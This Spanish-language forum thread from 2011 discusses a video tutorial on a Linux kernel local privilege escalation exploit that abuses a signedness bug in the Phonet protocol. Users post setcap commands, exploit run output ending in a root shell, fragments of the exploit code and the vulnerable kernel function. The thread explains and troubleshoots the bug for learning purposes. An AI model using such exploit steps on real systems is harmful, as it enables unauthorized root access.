elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 21:58  


Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  [Videotuto] Exploit local linux 32 y 64 bits
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: [Videotuto] Exploit local linux 32 y 64 bits  (Leído 5,289 veces)
illera88


Desconectado Desconectado

Mensajes: 403


Ver Perfil
[Videotuto] Exploit local linux 32 y 64 bits
« en: 24 Enero 2011, 20:35 »



Hola a todos. Estos días han sido un poco raros y aún sigo con exámenes a si que hacía bastante tiempo que no hacía un videotutorial.
En este lo que hago es una elevación de privilegios en un SO linux (en este caso Kubuntu). Este es el nombre que le han dado en Exploit-DB: Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit).
Culquier duda que tengáis ya sabéis que dejáis un comentario e intentaré solucionárosla.


La música del vídeo es a cargo de Full House (http://www.myspace.com/fullhousesalamanca) un grupo de 5 tarados que siempre están ahí cuando se les necesita. Recomiendo que escuchéis sus canciones pero nunca nunca a ellos filosofando sobre la vida, mujeres...


Espero que os guste el vídeo:

 http://www.youtube.com/embed/f4GPfuH8Hlw

FUENTE: www.metasploiter.com
« Última modificación: 24 Enero 2011, 20:40 por illera88 » En línea
EvilGoblin


Desconectado Desconectado

Mensajes: 2.320


YO NO LA VOTE!


Ver Perfil
Re: [Videotuto] Exploit local linux 32 y 64 bits
« Respuesta #1 en: 19 Febrero 2011, 15:41 »

No lo habia visto, hoy a la noche lo pruebo en Slackware y modifico aca avisando que tal me fue ^^

Gracias! muy bueno para tenerlo en el pendrive :P
En línea

Experimental Serial Lain [Linux User]
EvilGoblin


Desconectado Desconectado

Mensajes: 2.320


YO NO LA VOTE!


Ver Perfil
Re: [Videotuto] Exploit local linux 32 y 64 bits
« Respuesta #2 en: 19 Febrero 2011, 21:07 »

Código:
bash-4.1# setcap cap_sys_admin+ep exploit
bash-4.1# exit
exit
bash-4.1$ ./exploit
[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
[*] Failed to resolve kernel symbols.

No me funciono, no encontro CAP_SYS_ADMIN
En línea

Experimental Serial Lain [Linux User]
Shell Root


Desconectado Desconectado

Mensajes: 2.456


Alex Jurado


Ver Perfil WWW
Re: [Videotuto] Exploit local linux 32 y 64 bits
« Respuesta #3 en: 20 Febrero 2011, 01:02 »

Funciona, pero hay que tener instalado lo siguiente,
Código
alex@shellroot:~$ sudo apt-get install libcap2-bin

Output:
Código
alex@shellroot:~/Escritorio$ gcc -w PoC.c -o PoC
 
alex@shellroot:~/Escritorio$ sudo setcap cap_sys_admin+ep PoC
 
alex@shellroot:~/Escritorio$ whoami
alex
 
alex@shellroot:~/Escritorio$ ./PoC
[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
[+] Resolved proto_tab to 0xfacd59e8
[+] Resolved pn_proto to 0xfacd5840
[+] Resolved pn_proto to 0xfacd5840
[+] Resolved commit_creds to 0xc016c960
[+] Resolved prepare_kernel_cred to 0xc016cdb0
[*] Preparing fake structures...
[*] Copying Structures.
[*] Underflowing with offset -70
[*] Elevating privlidges...
[*] This was a triumph... I\'m making a note here, huge success.
# whoami
root
#
En línea

---
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: [Videotuto] Exploit local linux 32 y 64 bits
« Respuesta #4 en: 20 Febrero 2011, 12:31 »

xD y si no lo tengo instalado cómo lo instalo? xD
Vale, un detalle...
Código:
alex@shellroot:~/Escritorio$ sudo setcap cap_sys_admin+ep PoC
¿Me descargo un programa para el que necesito ser root para conseguir ser root? Una cosilla... ¿qué es setcat? xD
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
xassiz~


Desconectado Desconectado

Mensajes: 428



Ver Perfil WWW
Re: [Videotuto] Exploit local linux 32 y 64 bits
« Respuesta #5 en: 20 Febrero 2011, 13:31 »

Una cosilla... ¿qué es setcat? xD
Citar
Name
setcap - set file capabilities

Synopsis
setcap capabilities filename [ ... capabilitiesN fileN ]

Description
setcap sets the capabilities of each specified filename to the capabilities specified. The capabilities are specified in the form described in cap_from_text(3).


The special filename, '-', can be used to indicate that capabilities are read from the standard input. In such cases, the capability set is terminated with a blank line.
:silbar:
En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: [Videotuto] Exploit local linux 32 y 64 bits
« Respuesta #6 en: 20 Febrero 2011, 13:50 »

Que se entiende como "capacidades de un archivo"?  :¬¬

Entended que eso no viene preinstalado, y si no usas algo en linux no lo utilizas. Vamos, yo no lo tengo instalado, así que el exploit no funciona.
En resumen, no es un exploit del kernel, es de un complemento del kernel. Eso es importante xD.
De todos modos buen aporte  :)

__________________________________________________

Una cosa... ¿dónde buscas qué es cada comando? En el man no sale, y en google te sale una empresa rarísima por toda la página. Si eso me lo mandas por PM que me hace falta xD; lo he buscado y ni idea :P
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
xassiz~


Desconectado Desconectado

Mensajes: 428



Ver Perfil WWW
Re: [Videotuto] Exploit local linux 32 y 64 bits
« Respuesta #7 en: 20 Febrero 2011, 13:52 »

Una cosa... ¿dónde buscas qué es cada comando? En el man no sale, y en google te sale una empresa rarísima por toda la página. Si eso me lo mandas por PM que me hace falta xD; lo he buscado y ni idea :P
Here
En línea

EvilGoblin


Desconectado Desconectado

Mensajes: 2.320


YO NO LA VOTE!


Ver Perfil
Re: [Videotuto] Exploit local linux 32 y 64 bits
« Respuesta #8 en: 20 Febrero 2011, 18:18 »

Sagrini como te dijeron, el exploit lo armas en tu PC con acceso a ROOT y lo ejecutas en una maquina donde no tenga acceso a root.

yo tengo instalado libcap pero no libcap2, y es necesario que en la maquina que se ejecute tenga instalado libcap2 ????
En línea

Experimental Serial Lain [Linux User]
Lunfardo


Desconectado Desconectado

Mensajes: 560


Ver Perfil
Re: [Videotuto] Exploit local linux 32 y 64 bits
« Respuesta #9 en: 20 Febrero 2011, 19:17 »


Código:

[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
 [+] Resolved proto_tab to 0xe255a1e8
 [+] Resolved pn_proto to 0xe255a040
 [+] Resolved pn_proto to 0xe255a040
 [+] Resolved commit_creds to 0xc016dd80
 [+] Resolved prepare_kernel_cred to 0xc016e0c0
[*] Preparing fake structures...
[*] Copying Structures.
[*] Underflowing with offset -70
Killed



=( , que habra pasado ?
En línea
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: [Videotuto] Exploit local linux 32 y 64 bits
« Respuesta #10 en: 20 Febrero 2011, 21:08 »

Sagrini como te dijeron, el exploit lo armas en tu PC con acceso a ROOT y lo ejecutas en una maquina donde no tenga acceso a root.

yo tengo instalado libcap pero no libcap2, y es necesario que en la maquina que se ejecute tenga instalado libcap2 ????
Yo pensaba que sí es necesario... Por eso lo decía xD
De todos modos, primero hay que saber acceder xD y aún estoy peleado con el serv de pruebas que me he hecho...

Suerte!
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: [Videotuto] Exploit local linux 32 y 64 bits
« Respuesta #11 en: 24 Febrero 2011, 23:59 »

Hola!!!

Estaba probando este exploit y a mi no me ha funcionado:

Código:
[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
 [+] Resolved proto_tab to 0xf8133fa8
 [+] Resolved pn_proto to 0xf8133e00
 [+] Resolved pn_proto to 0xf8133e00
 [+] Resolved commit_creds to 0xc016eb60
 [+] Resolved prepare_kernel_cred to 0xc016efc0
[*] Preparing fake structures...
[*] Copying Structures.
[*] Underflowing with offset -70
[*] Underflow failed :-(.

He estado intentando entender cómo funciona y qué es lo que hace y no me queda del todo claro.
Entiendo que te copias en memoria una serie de estructuras con las funciones mmap y memcpy. Pero a partir de aqui ya me pierdo
Código:
proto = -((proto_tab - low_kern_sym) / sizeof(void *));

    printf("[*] Underflowing with offset %d\n", proto);

    sock = socket(PF_PHONET, SOCK_DGRAM, proto);
    if(sock < 0) {
        printf("[*] Underflow failed :-(.\n");
        return -1;
    }

De hecho a mi lo que me falla es la creación del socket, ¿por qué se le pasa como protocolo (proto) un -70 (proto = -((proto_tab - low_kern_sym) / sizeof(void *)) al socket?

Gracias de antemano
En línea
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: [Videotuto] Exploit local linux 32 y 64 bits
« Respuesta #12 en: 26 Febrero 2011, 23:58 »

Código:
bash-4.1# setcap cap_sys_admin+ep exploit
bash-4.1# exit
exit
bash-4.1$ ./exploit
[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
[*] Failed to resolve kernel symbols.

No me funciono, no encontro CAP_SYS_ADMIN

Capaz q ya lo solucionaste, pero no te funcionaba porq no tenes el kernel compilado para debug, con todos los simbolos. Te podes fijar a mano si tenes al menos el primer simbolo definido:

Código:
cat /proc/kallsyms | grep proto_tab

Hola!!!

Estaba probando este exploit y a mi no me ha funcionado:

Código:
[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
 [+] Resolved proto_tab to 0xf8133fa8
 [+] Resolved pn_proto to 0xf8133e00
 [+] Resolved pn_proto to 0xf8133e00
 [+] Resolved commit_creds to 0xc016eb60
 [+] Resolved prepare_kernel_cred to 0xc016efc0
[*] Preparing fake structures...
[*] Copying Structures.
[*] Underflowing with offset -70
[*] Underflow failed :-(.

He estado intentando entender cómo funciona y qué es lo que hace y no me queda del todo claro.
Entiendo que te copias en memoria una serie de estructuras con las funciones mmap y memcpy. Pero a partir de aqui ya me pierdo
Código:
proto = -((proto_tab - low_kern_sym) / sizeof(void *));

    printf("[*] Underflowing with offset %d\n", proto);

    sock = socket(PF_PHONET, SOCK_DGRAM, proto);
    if(sock < 0) {
        printf("[*] Underflow failed :-(.\n");
        return -1;
    }

De hecho a mi lo que me falla es la creación del socket, ¿por qué se le pasa como protocolo (proto) un -70 (proto = -((proto_tab - low_kern_sym) / sizeof(void *)) al socket?

Gracias de antemano


Te falla porq capaz q no es vulnerable el driver. El error lo explica maso por arriba Dan Rosenberg en su exploit:

Código:
/* This exploit leverages a signedness error in the Phonet protocol.  By
 * specifying a negative protocol index, I can craft a series of fake
 * structures in userspace and cause the incrementing of an arbitrary kernel
 * address, which I then leverage to execute arbitrary kernel code.
 */

Eso, el error esta en el driver del protocolo de red phonet. Parece ser que cuando se le pasa un valor negativo a socket() se pueden sobreescribir ciertas estructuras en el driver. Entre ellas, la q define el manejador de las ioctl.

Código:
    const struct proto_ops_skel fake_proto_ops2 = {
            .family     = AF_PHONET,   
            .ioctl      = &getroot,
    };     
 

Igual Rosenberg la pinta como q es mucho mas complicado, asi q calculo que el error debe tener su historia.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: [Videotuto] Exploit local linux 32 y 64 bits
« Respuesta #13 en: 1 Marzo 2011, 00:05 »

Para los que les interese sigo spammeando xD.

Clonee el source del kernel y encontre el error en net/phonet/af_phonet.c:40

Código:
static struct phonet_protocol *phonet_proto_get(int protocol)
{
if (protocol >= PHONET_NPROTO)
return NULL;
        ...
pp = rcu_dereference(proto_tab[protocol]);
        ...
return pp;
}

En el if se puede ver el error de signo.  Aprovecha proto_tab[protocol] para apuntar a las estructuras en espacio de usuario! Se las rebuscan re bien...
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: [Videotuto] Exploit local linux 32 y 64 bits
« Respuesta #14 en: 1 Marzo 2011, 22:56 »

Hola!!

En mis fuentes esta igual, pero a mi no me funciona (ya postee anteriormente). Dejo aqui el codigo de mi source:

Código:
static struct phonet_protocol *phonet_proto_get(int protocol)
{
        struct phonet_protocol *pp;

        if (protocol >= PHONET_NPROTO)
                return NULL;

        rcu_read_lock();
        pp = rcu_dereference(proto_tab[protocol]);
        if (pp && !try_module_get(pp->prot->owner))
                pp = NULL;
        rcu_read_unlock();

        return pp;
}
En línea
Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  

Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines